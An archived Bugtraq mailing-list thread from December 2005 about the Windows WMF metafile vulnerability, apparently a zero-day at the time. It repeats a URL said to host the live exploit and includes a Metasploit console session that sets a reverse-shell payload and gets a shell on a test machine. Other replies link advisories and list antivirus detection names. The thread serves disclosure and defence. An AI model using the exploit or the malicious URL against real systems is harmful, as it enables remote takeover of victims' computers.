Onderwerp: Is this a new exploit?

Warning the following URL successfully exploited a fully patched windows xp system with a freshly updated norton anti virus.

unionseek.com/d/t1/wmf_exp.htm

The url runs a .wmf and executes the virus, f-secure will pick up the virus norton will not.

I ported the exploit to the Metasploit Framework in case anyone wants to
test it without installing a thousand spyware apps...

Available from 'msfupdate' for MSF users, or in the 2.5 snapsh

--http://metasploit.com/projects/Framework/exploits.html#ie_xp_pfv_metafile
--http://metasploit.com/tools/framework-2.5-snapshot.tar.gz

Tested on Win XP SP1 and SP2.

-HD

+ -- --=[ msfconsole v2.5 [147 exploits - 77 payloads]

msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf ie_xp_pfv_metafile(win32_reverse) > set LHOST 192.168.0.2
LHOST -> 192.168.0.2
msf ie_xp_pfv_metafile(win32_reverse) > exploit
[*] Starting Reverse Handler.[*] Waiting for connections to http://0.0.0.0:8080/anything.wmf[*] HTTP Client connected from 192.168.0.219:1060 using Windows XP[*] Got connection from 192.168.0.2:4321 <-> 192.168.0.219:1061

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\XXXX\Desktop>


On Tuesday 27 December 2005 14:20, noemailpls@noemail.ziper wrote:
> Warning the following URL successfully exploited a fully patched
> windows xp system with a freshly updated norton anti virus.
>
> unionseek.com/d/t1/wmf_exp.htm
>
> The url runs a .wmf and executes the virus, f-secure will pick up the
> virus norton will not.

apparently WMF can still execute code;

http://redxii.blogspot.com/2005/12/v...rendering.html

there was a patch for it two Tuesdays ago. It can still execute code even with the aforementioned patch

Hi,

yes, it seems to be a new exploit. More details about the problem can be found here:

http://www.f-secure.com/weblog/archi....html#00000752
http://isc.sans.org/diary.php?storyid=972
http://www.heise.de/newsticker/meldung/67794

Some AV companies have created signatures for the latest critter already:

AntiVir TR/Dldr.WMF.Small
Dr Web Exploit.MS05-053
F-Secure Exploit.Win32.Agent.r
Fortinet W32/WMF-exploit
Kaspersky Exploit.Win32.Agent.r
McAfee (BETA) Exploit-WMF trojan
Symantec (BETA) Download.Trojan

cheers,
Andreas Marx
http://www.av-test.org


Warning the following URL successfully exploited a fully patched windows xp system with a freshly updated norton anti virus.

unio[removeme]nseek.com/d[removeme]/t1/wm[removeme]f_exp.htm

The url runs a .wmf and executes the virus, f-secure will pick up the virus norton will not.

__________________________________________________ ____________________
XXL-Speicher, PC-Virenschutz, Spartarife & mehr: Nur im WEB.DE Club!
Jetzt gratis testen! http://freemail.web.de/home/landingpad/?mc=021130

This is a multi-part message in MIME format.

------=_NextPart_000_002D_01C60B8B.2AFD7090
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: 7bit


Windows .wmf vulnerability, look here:

http://secunia.com/advisories/18255/

JTP

-----Original Message-----
From: noemailpls@noemail.ziper [mailto:noemailpls@noemail.ziper]
Sent: Tuesday, December 27, 2005 3:20 PM
To: bugtraq@securityfocus.com
Subject: Is this a new exploit?

Warning the following URL successfully exploited a fully patched windows xp
system with a freshly updated norton anti virus.

unionseek.com/d/t1/wmf_exp.htm

The url runs a .wmf and executes the virus, f-secure will pick up the virus
norton will not.

------=_NextPart_000_002D_01C60B8B.2AFD7090
Content-Type: application/x-pkcs7-signature;
name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="smime.p7s"

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCS qGSIb3DQEHAQAAoIIIwzCCAksw
ggG0oAMCAQICAw/3bjANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA 1UEChMcVGhh
d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVG hhd3RlIFBlcnNvbmFsIEZyZWVt
YWlsIElzc3VpbmcgQ0EwHhcNMDUxMjAxMjE1MTUwWhcNMDYxMj AxMjE1MTUwWjBDMR8wHQYDVQQD
ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMSAwHgYJKoZIhvcNAQ kBFhFqcG9ydHpAa2ZvcmNlLmNv
bTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAzDowpduEMh XDay75CBzON7E+4f5q3xSFXban
mzxAFcd9nWy0DSJYBRsQpu6BmCTW+W2mKmEkec6nGXbyLbAV4D XN02ySlqm2JGsc7qvhOqcvy+Le
QVvL5F0c1E9DfzkvHa+0jkmORIJfo5fOQCtuA3No4Ed0HSiBEV/jKee/Ud0CAwEAAaMuMCwwHAYD
VR0RBBUwE4ERanBvcnR6QGtmb3JjZS5jb20wDAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQQFAAOB
gQB0ahvE5RQXQow8dJ/ff5OFzZoMqw1pWVclg6sGrfWAhrC10I86K7kA9iXiHc1ochJDq 5PauBqx
lvtl+0kta1TbAaNp5vKu1dtfgqYCvxX2q1H1tXKf8groNNjzBO/Hpsc49l5z7DvwQECygv+BOdqI
V3ECv2dAqUAr7fN2WeKx8TCCAy0wggKWoAMCAQICAQAwDQYJKo ZIhvcNAQEEBQAwgdExCzAJBgNV
BAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBA cTCUNhcGUgVG93bjEaMBgGA1UE
ChMRVGhhd3RlIENvbnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZm ljYXRpb24gU2VydmljZXMgRGl2
aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbW FpbCBDQTErMCkGCSqGSIb3DQEJ
ARYccGVyc29uYWwtZnJlZW1haWxAdGhhd3RlLmNvbTAeFw05Nj AxMDEwMDAwMDBaFw0yMDEyMzEy
MzU5NTlaMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdG VybiBDYXBlMRIwEAYDVQQHEwlD
YXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMS gwJgYDVQQLEx9DZXJ0aWZpY2F0
aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dG UgUGVyc29uYWwgRnJlZW1haWwg
Q0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQH RoYXd0ZS5jb20wgZ8wDQYJKoZI
hvcNAQEBBQADgY0AMIGJAoGBANRp19SwlGRbcelH2AxRtupykb CEXn0tDY97Et+FJXUodDpCLGMn
n5V7S+9+GYcdhuqj3bnOlmQawhRuRKx85o/oTQ9xH0A4pgCjh3j2+ZSGXq3qwF5269kUo11uenwM
pUtVfwYZKX+emibVars4JAhqmMex2qOYkf152+VaxBy5AgMBAA GjEzARMA8GA1UdEwEB/wQFMAMB
Af8wDQYJKoZIhvcNAQEEBQADgYEAx+ySfk749ZalZ2IqpPBNEW DQb41gWGGsJrtSNVwIzzD7qEqW
ih9iQiOMFw/0umScF6xHKd+dmF7SbGBxXKKs3Hnj524ARx+1DSjoAp3kmv0T9 KbZfLH43F8jJgmR
gHPQFBveQ6mDJfLmnC8Vyv6mq4oHdYsM3VGEa+T40c53ooEwgg M/MIICqKADAgECAgENMA0GCSqG
SIb3DQEBBQUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2 VzdGVybiBDYXBlMRIwEAYDVQQH
EwlDYXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW 5nMSgwJgYDVQQLEx9DZXJ0aWZp
Y2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaG F3dGUgUGVyc29uYWwgRnJlZW1h
aWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYW lsQHRoYXd0ZS5jb20wHhcNMDMw
NzE3MDAwMDAwWhcNMTMwNzE2MjM1OTU5WjBiMQswCQYDVQQGEw JaQTElMCMGA1UEChMcVGhhd3Rl
IENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3 RlIFBlcnNvbmFsIEZyZWVtYWls
IElzc3VpbmcgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAo GBAMSmPFVzVftOucqZWh5owHUE
cJ3f6f+jHuy9zfVb8hp2vX8MOmHyv1HOAdTlUAow1wJjWiyJFX CO3cnwK4Vaqj9xVsuvPAsH5/Ef
kTYkKhPPK9Xzgnc9A74r/rsYPge/QIACZNenprufZdHFKlSFD0gEf6e20TxhBEAeZBlyYLf7AgMB
AAGjgZQwgZEwEgYDVR0TAQH/BAgwBgEB/wIBADBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3Js
LnRoYXd0ZS5jb20vVGhhd3RlUGVyc29uYWxGcmVlbWFpbENBLm NybDALBgNVHQ8EBAMCAQYwKQYD
VR0RBCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDItMT M4MA0GCSqGSIb3DQEBBQUAA4GB
AEiM0VCD6gsuzA2jZqxnD3+vrL7CF6FDlpSdf0whuPg2H6otnz YvwPQcUCCTcDz9reFhYsPZOhl+
hLGZG***GguCdJ4lUJRix9sncVcljd2pnDmOjCBPZV+V2vf3h9 bGCE6u9uo05RAaWzVNd+NWIXiC
3CEZNd4ksdMdRv9dX2VPMYICzzCCAssCAQEwaTBiMQswCQYDVQ QGEwJaQTElMCMGA1UEChMcVGhh
d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVG hhd3RlIFBlcnNvbmFsIEZyZWVt
YWlsIElzc3VpbmcgQ0ECAw/3bjAJBgUrDgMCGgUAoIIBvDAYBgkqhkiG9w0BCQMxCwYJKoZIh vcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0wNTEyMjgxMzQ2MTdaMCMGCS qGSIb3DQEJBDEWBBTlifT58PwF
CuLfUov/LoMO1ZbuxjBnBgkqhkiG9w0BCQ8xWjBYMAoGCCqGSIb3DQMHMA 4GCCqGSIb3DQMCAgIA
gDANBggqhkiG9w0DAgIBQDAHBgUrDgMCBzANBggqhkiG9w0DAg IBKDAHBgUrDgMCGjAKBggqhkiG
9w0CBTB4BgkrBgEEAYI3EAQxazBpMGIxCzAJBgNVBAYTAlpBMS UwIwYDVQQKExxUaGF3dGUgQ29u
c3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUG Vyc29uYWwgRnJlZW1haWwgSXNz
dWluZyBDQQIDD/duMHoGCyqGSIb3DQEJEAILMWugaTBiMQswCQYDVQQGEwJaQTEl MCMGA1UEChMc
VGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAx MjVGhhd3RlIFBlcnNvbmFsIEZy
ZWVtYWlsIElzc3VpbmcgQ0ECAw/3bjANBgkqhkiG9w0BAQEFAASBgKxeIAiUtNgzZODxIpkPSOYt
zU+zSDJQT+XQ2ISlHIyHhS1JEs39XEhaOUIKgGHPCIJmMM7pNW p/Tv8ar9RsUKKbi30L+3ADscS5
9NLKCQC735BjMzYOUhanaVMXkRcH7ozMTDNYjLZ7obVSI85kmw 4SJOJ/FBB8AognvNEXbnVcAAAA
AAAA

------=_NextPart_000_002D_01C60B8B.2AFD7090--